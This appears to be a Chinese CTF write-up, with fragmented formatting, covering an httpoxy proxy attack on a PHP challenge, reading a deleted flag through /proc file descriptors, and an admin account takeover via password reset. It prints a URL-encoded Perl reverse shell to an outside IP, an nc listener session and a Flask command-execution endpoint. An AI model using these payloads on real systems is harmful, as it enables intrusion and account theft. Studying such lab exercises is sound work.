error_reporting(0);
require __DIR__ . '/vendor/autoload.php';
use GuzzleHttp\Client;
highlight_file(__FILE__);
if(isset($_GET['flag'])) {
$client = new Client();
$response = $client->get('http://127.0.0.1:5000/api/eligible');
$content = $response->getBody();
$data = json_decode($content, TRUE);
if($data['success'] === true) {
echo system('/readflag');
}
}
if(isset($_GET['file'])) {
highlight_file($_GET['file']);
}
if(isset($_GET['phpinfo'])) {
phpinfo();
}
因为今天起得晚了,在被窝的时候就看群里的师傅在说这个题了
所以自己没咋想,都是师傅们的思路
这题用到的是HTTP_PROXY漏洞
关于这个漏洞具体的描述
因为题目靶机访问不了外网,所以在BUUOJ的Linux-Labs中开了一个内网靶机
利用HTTP_PROXY漏洞,在$response = $client->get('http://127.0.0.1:5000/api/eligible');
时,代理到自己的linux靶机上
我用NC一直实现不了,于是就用linux靶机中自带的apache服务器,端口设置成5000,构造一个文件
root@73f384fed357:~# curl 127.0.0.1:5000/api/eligible
{"success":true}
Proxy: 174.0.216.64:5000
from flask import Flask, request
import os
app = Flask(__name__)
flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
# return flag
## want flag? naive!
# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
os.system("rm -f flag.txt")
exec_cmd = request.args.get('c')
os.system(exec_cmd)
return "1"
@app.route('/')
def source():
return open("app.py","r").read()
if __name__ == "__main__":
app.run(host='0.0.0.0')
/
和/shell
目录open()
函数读取flag文件高校运维赛WP
存在任意文件读取,flag文件open后被删除,可以读取文件描述符拿到flag
data=/proc/self/fd/3
/proc/..
文件中找到读取的flag值/shell
中执行的命令不回显,所以就尝试反弹一个shellperl%20-e%20'use%20Socket%3B%24i%3D%22174.1.7.246%22%3B%24p%3D1234%3Bsocket(S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname(%22tcp%22))%3Bif(connect(S%2Csockaddr_in(%24p%2Cinet_aton(%24i))))%7Bopen(STDIN%2C%22%3E%26S%22)%3Bopen(STDOUT%2C%22%3E%26S%22)%3Bopen(STDERR%2C%22%3E%26S%22)%3Bexec(%22%2Fbin%2Fsh%20-i%22)%3B%7D%3B'
nc -lvvp 1234
root@73f384fed357:~# nc -lvvp 1234
listening on [any] 1234 ...
connect to [174.0.216.64] from 531-f8475cc6-92a5-444b-91d7-62685bd60c18.1.s1a3u026fejclr2nety55x3lb.ctfd_swarm [174.0.217.9] 42080
/bin/sh: 0: can't access tty; job control turned off
$ pwd
/home/app
$ cat /proc/*/fd/*
cat: /proc/10/fd/1: Permission denied
cat: /proc/10/fd/2: Permission denied
flag{3a30bcb3-9812-4074-83b4-c230d69f6eac}
cat: /proc/10/fd/4: No such device or address
注册一个账号admin,在admin的前面或后面加上个空格
然后点击忘记密码
邮件会收到一个重置密码的链接
这个时候先用邮箱登陆你注册的用户
修改你的用户名成其他的:admin123等等...
在刚刚的重置密码链接中,设置新密码
用新密码登陆admin
获得admin用户的权限